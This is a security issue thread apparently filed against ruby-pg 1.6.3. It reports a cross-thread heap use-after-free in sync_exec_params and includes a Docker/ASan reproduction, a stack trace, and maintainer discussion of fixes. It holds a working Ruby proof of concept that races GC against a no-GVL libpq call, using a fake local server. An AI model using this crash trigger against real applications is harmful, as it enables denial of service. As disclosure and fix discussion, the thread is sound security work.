DFVULN-801: Query Parameter Lifetime Bug Causes Heap Use-After-Free

[larskanis]

Summary

PG::Connection#sync_exec_params passes raw Ruby string pointers to libpq while the libpq call runs without the GVL. Another Ruby thread can drop and collect the parameter strings before libpq finishes reading them, producing a heap use-after-free.

Version

Software: ruby-pg
Version: 1.6.3
Commit: 59296b0

Details

alloc_query_params stores raw RSTRING_PTR pointers in paramsData->values.

paramsData->values[i] = RSTRING_PTR(intermediate);
paramsData->lengths[i] = RSTRING_LENINT(intermediate);

ext/pg_connection.c:1376

The synchronous execution path then passes those pointers to libpq through a wrapper that releases the GVL.

nParams = alloc_query_params( &paramsData );

result = gvl_PQexecParams(this->pgconn, pg_cstr_enc(command, paramsData.enc_idx), nParams, paramsData.types,
	(const char * const *)paramsData.values, paramsData.lengths, paramsData.formats, resultFormat);

ext/pg_connection.c:1462

The lifetime guard is only a local VALUE inside paramsData; it is not an explicit guard around the no-GVL libpq call.

/* This array takes the string values for the timeframe of the query,
 * if param value conversion is required
 */
VALUE gc_array;

ext/pg_connection.c:1206

In the attached PoC, one thread enters sync_exec_params while another drops the parameter references and forces GC. ASan catches libpq reading a freed Ruby string.

Reproduce

Save the attached poc.rb and run this on a machine with Docker:

mkdir -p dfvuln-801 && cp poc.rb dfvuln-801/ && cd dfvuln-801
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib OUT=/work/state.log N=10000 LEN=4096 ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'

The full sanitizer log is in the attachment as asan.log. The reproduced stack is:

==3530==ERROR: AddressSanitizer: heap-use-after-free
READ of size 3 at 0xffff8ae06500 thread T6
    #0 0xffffb2c1b4dc in __interceptor_strlen
    #1 0xffffaeba4e60  (/usr/lib/aarch64-linux-gnu/libpq.so.5+0x14e60)
    #2 0xffffaeba5d38 in PQsendQueryParams
    #3 0xffffaeba6cd4 in PQexecParams
    #4 0xffffaed49d48 in gvl_PQexecParams_skeleton /tmp/src/ext/gvl_wrappers.c:25
    #5 0xffffb2881d9c in rb_nogvl /usr/src/ruby/thread.c:1546
    #7 0xffffaed65184 in pgconn_sync_exec_params /tmp/src/ext/pg_connection.c:1464
freed by thread T0 here:
    #0 0xffffb2c7a5a0 in __interceptor_free
    #1 0xffffb270dbdc in objspace_xfree /usr/src/ruby/gc.c:12832
SUMMARY: AddressSanitizer: heap-use-after-free in __interceptor_strlen

Inline reproduction artifact(s):

poc.rb

require 'socket'
require 'pg'

OUT = ENV.fetch('OUT', 'state.log')
N = Integer(ENV.fetch('N', '10000'))
LEN = Integer(ENV.fetch('LEN', '4096'))
Thread.abort_on_exception = true
File.write(OUT, "boot\n")

def log(msg)
  File.open(OUT, 'a') { |f| f.puts(msg) }
end

def recv_exact(io, n)
  buf = ''.b
  while buf.bytesize < n
    part = io.read(n - buf.bytesize)
    raise 'eof' if part.nil? || part.empty?
    buf << part
  end
  buf
end

def send_msg(io, type, body = ''.b)
  io.write(type)
  io.write([body.bytesize + 4].pack('N'))
  io.write(body)
end

def pstat(k, v)
  "#{k}\0#{v}\0".b
end

def row_desc
  [1].pack('n') + "ok\0" + [0, 0, 25, 0xffff, 0xffffffff, 0].pack('NnNnNn')
end

def data_row(v)
  v = v.b
  [1].pack('n') + [v.bytesize].pack('N') + v
end

def make_param(i, len)
  head = format('P%05d:', i)
  head + ('A' * (len - head.bytesize))
end

server = TCPServer.new('127.0.0.1', 0)
port = server.addr[1]
log("phase=server_ready port=#{port} n=#{N} len=#{LEN}")

Thread.new do
  sock = server.accept
  len = recv_exact(sock, 4).unpack1('N')
  body = recv_exact(sock, len - 4)
  raise 'bad startup' unless body[0, 4].unpack1('N') == 196608

  send_msg(sock, 'R', [0].pack('N'))
  send_msg(sock, 'S', pstat('client_encoding', 'UTF8'))
  send_msg(sock, 'S', pstat('server_version', '17.0'))
  send_msg(sock, 'S', pstat('standard_conforming_strings', 'on'))
  send_msg(sock, 'K', [1, 2].pack('NN'))
  send_msg(sock, 'Z', 'I')

  loop do
    type = sock.read(1) or break
    len = recv_exact(sock, 4).unpack1('N')
    body = recv_exact(sock, len - 4)
    next unless type == 'S'

    send_msg(sock, '1')
    send_msg(sock, '2')
    send_msg(sock, 'T', row_desc)
    send_msg(sock, 'D', data_row('ok'))
    send_msg(sock, 'C', "SELECT 1\0")
    send_msg(sock, 'Z', 'I')
    break
  end
rescue => e
  log("server_error=#{e.class}:#{e.message}")
ensure
  sock&.close
  server.close rescue nil
end

log('phase=build_query')
query = 'SELECT ' + (1..N).map { |i| "$#{i}" }.join(',')
params = Array.new(N) { |i| make_param(i + 1, LEN) }

log('phase=connect_client')
conn = PG.connect(
  host: '127.0.0.1',
  port: port,
  user: 'x',
  dbname: 'x',
  sslmode: 'disable',
  gssencmode: 'disable'
)

start_q = Queue.new
Thread.new do
  start_q << true
  conn.sync_exec_params(query, params)
end
start_q.pop

log('phase=drop_param_refs')
params.fill(nil)
log('phase=force_gc')
GC.start(full_mark: true, immediate_sweep: true)
log('phase=heap_churn')
churn = Array.new(N * 4) { 'Z' * LEN }
log("phase=heap_churn_done count=#{churn.length}")

sleep 10
log('phase=no_crash')
exit!(1)

Security Impact

This is a cross-thread native use-after-free in parameter execution. It can crash multithreaded Ruby applications that execute attacker-influenced query parameters.

Credit

Zheng Yu from depthfirst (depthfirst.com)

[larskanis]

This issue is difficult to solve without performance or concurrency penalty. It might be possible to protect the params array elements to be GC'ed, but it doesn't protect against modifications to the strings stored in params. Something like params.each(&:clear) from a second thread frees the underlying memory and could lead to a crash as well. IMHO there are only these way to avoid the crash:

1. Copying all the params data (worse performance)
2. Don't unlock the GVL (concurrency issue)
3. Freeze the params objects before use (API break and bad design)

Unlocking the GVL can be completely disabled by

gem inst pg -- --disable-gvl-unlock

Then the test above doesn't fail.

It doesn't have a big impact to disable GVL-unlock, since pg-1.3+ uses async libpq API all the way. But at least PG.connect blocks when there are external authentication methods like GSSAPI. And if something blocks in async libpq (although it shouldn't), then there's no way to execute a second thread in the meanwhile.

I'm not sure, if it's possible to safely disable GVL-unlock for the PQsend* methods and PQputCopyData only. They were enabled for GVL-unlock in #171 .

On the other hand I wonder if the effort is really valuable. The vulnerability requires a very obvious data race between threads; no one would use something like this in security relevant code. It also requires more than 1 MByte of data to be sent. So it's not really a security issue IMHO. So the other option is to just leave it as it is.

@ged, @cbandy What do you think?

[cbandy]

Perhaps a user-choice then? [Safe and blocking] xor [Don't Do That and performant].

Reminds me of servers that fork after connecting; Well Don't Do That.

[larskanis]

I'm not sure, if it's possible to safely disable GVL-unlock for the PQsend* methods and PQputCopyData only. They were enabled for GVL-unlock in #171 .

It works to exclude only the problematic functions from unlocking the GVL. It is implemented in #723. So this is my proposal to fix the above issue. PG.connect, which is known to be blocking in some cases, is still GVL unlocked.

I'm still not entirely convinced that pg should handle such stupid parameter manipulation scenarios, but #723 might be a reasonable tradeoff. I don't like that much to put the decision to the user.